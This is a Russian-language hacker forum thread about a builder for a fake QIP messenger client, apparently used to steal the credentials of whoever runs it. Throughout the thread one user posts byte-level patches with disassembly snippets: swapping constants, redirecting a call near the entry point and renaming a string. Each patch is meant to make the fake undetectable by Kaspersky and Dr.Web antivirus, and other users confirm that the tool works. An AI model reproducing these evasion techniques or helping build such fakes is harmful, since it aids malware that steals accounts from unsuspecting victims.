Builder Fake QIP 8070 v1.3

Discussion in 'Skype, IRC, ICQ, Jabber и другие IM' started by DIMON4G, 28 Oct 2008.

  1. DIMON4G

    DIMON4G Elder - Старейшина

    Joined:
    25 May 2008
    Messages:
    0
    Likes Received:
    108
    Reputations:
    -1
    полный ништяк нах и неипёт :p
     
    1 person likes this.
  2. neprovad

    neprovad Elder - Старейшина

    Joined:
    19 Oct 2007
    Messages:
    899
    Likes Received:
    274
    Reputations:
    59
    как почистить от kav

    Code:
    DATA:004A50E4 1E 00 00 00                   dd 1Eh
    DATA:004A50E8 9C F3 45 00                   dd offset aGreece       ; "Greece"
    DATA:004A50EC 1F 00 00 00                   dd 1Fh
    DATA:004A50F0 AC F3 45 00                   dd offset aNetherlands  ; "Netherlands"
    
    достаточно сменить константы стран одну на другую например 1E заменить на 1F, а 1F заменить на 1E и KAV больше не найдет ничего
     
  3. nupaT

    nupaT Active Member

    Joined:
    25 Oct 2008
    Messages:
    0
    Likes Received:
    101
    Reputations:
    20
    О спс за булидер )) Но у мя Веб палит ((
     
    3 people like this.
  4. neprovad

    neprovad Elder - Старейшина

    Joined:
    19 Oct 2007
    Messages:
    899
    Likes Received:
    274
    Reputations:
    59
    Щас покумекаем и перестанет палить
    UPD:
    Покумекал, меняем недалеко от точки входа код
    Было:
    Code:
    004A2FE8   .  E8 6B9BFBFF   CALL qip.0045CB58
    ....
    004A3041    00 00000000
    
    Стало:
    Code:
    004A2FE8   E8 54000000   CALL qip.004A3041
    .....
    004A3041  E9 129BFBFF     JMP qip.0045CB58
    
    Доктор больше не палит
     
    #24 neprovad, 26 Jan 2009
    Last edited: 26 Jan 2009
    1 person likes this.
  5. Sin3v

    Sin3v Banned

    Joined:
    16 Jul 2008
    Messages:
    11
    Likes Received:
    95
    Reputations:
    9
    О_О да ты волшебник, через че это редактируешь?
     
    2 people like this.
  6. diznt

    diznt Elder - Старейшина

    Joined:
    31 Jan 2008
    Messages:
    432
    Likes Received:
    164
    Reputations:
    -19
    Sin3v дизассемблер вроде
     
  7. neprovad

    neprovad Elder - Старейшина

    Joined:
    19 Oct 2007
    Messages:
    899
    Likes Received:
    274
    Reputations:
    59
    редактирую прямо в ollydbg и потом сохраняю, впрочем, другие программы ничем не хуже.
     
    1 person likes this.
  8. NAGAN

    NAGAN New Member

    Joined:
    28 Oct 2008
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    а киньте пожалуйста исправленый билд! будю благодарен!
     
  9. neprovad

    neprovad Elder - Старейшина

    Joined:
    19 Oct 2007
    Messages:
    899
    Likes Received:
    274
    Reputations:
    59
    сделай сам, я все написал что и где
     
  10. NAGAN

    NAGAN New Member

    Joined:
    28 Oct 2008
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    попробывал но так ничего не пришло...почемуто! хм...
     
  11. MMxD

    MMxD New Member

    Joined:
    21 Nov 2008
    Messages:
    12
    Likes Received:
    4
    Reputations:
    0
    спасибо, помогло
     
  12. neprovad

    neprovad Elder - Старейшина

    Joined:
    19 Oct 2007
    Messages:
    899
    Likes Received:
    274
    Reputations:
    59
    если готовый фэйк не запускается, это скорее всего проверка контрольной суммы. а если запускается и не приходит ничего это уже проблемы со связью или чем-либо еще.
     
  13. NAGAN

    NAGAN New Member

    Joined:
    28 Oct 2008
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    хм...походу проблема со связью у 5 друзей...все возможно...
     
  14. ANUBI$

    ANUBI$ Active Member

    Joined:
    16 Jan 2009
    Messages:
    57
    Likes Received:
    104
    Reputations:
    1
    спасибо, будим юзать
     
  15. X-RayBlade

    X-RayBlade Banned

    Joined:
    22 Feb 2009
    Messages:
    492
    Likes Received:
    1,002
    Reputations:
    271
    Спасибо автору - всё работает ;)
     
  16. rid3r~man

    rid3r~man Active Member

    Joined:
    10 Jan 2009
    Messages:
    224
    Likes Received:
    223
    Reputations:
    25
    пашет класс, автор спс =)
     
  17. SWANY

    SWANY New Member

    Joined:
    29 Mar 2009
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Антивирусник его палит((
     
  18. neprovad

    neprovad Elder - Старейшина

    Joined:
    19 Oct 2007
    Messages:
    899
    Likes Received:
    274
    Reputations:
    59
    В оригинале
    Code:
    00495D34 MOV EDX,qip.00495DA0;  ASCII "QIP"
    
    меняем строку по адресу 495DA0 "QIP" на "ZZZ" и перестает палить (kav)
     
  19. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    Это сейчас модно .. ?!... делать хренову тучу фейков...?!
     
  20. neprovad

    neprovad Elder - Старейшина

    Joined:
    19 Oct 2007
    Messages:
    899
    Likes Received:
    274
    Reputations:
    59
    мода - непродолжительное господство определённого стиля\направления в какой-либо сфере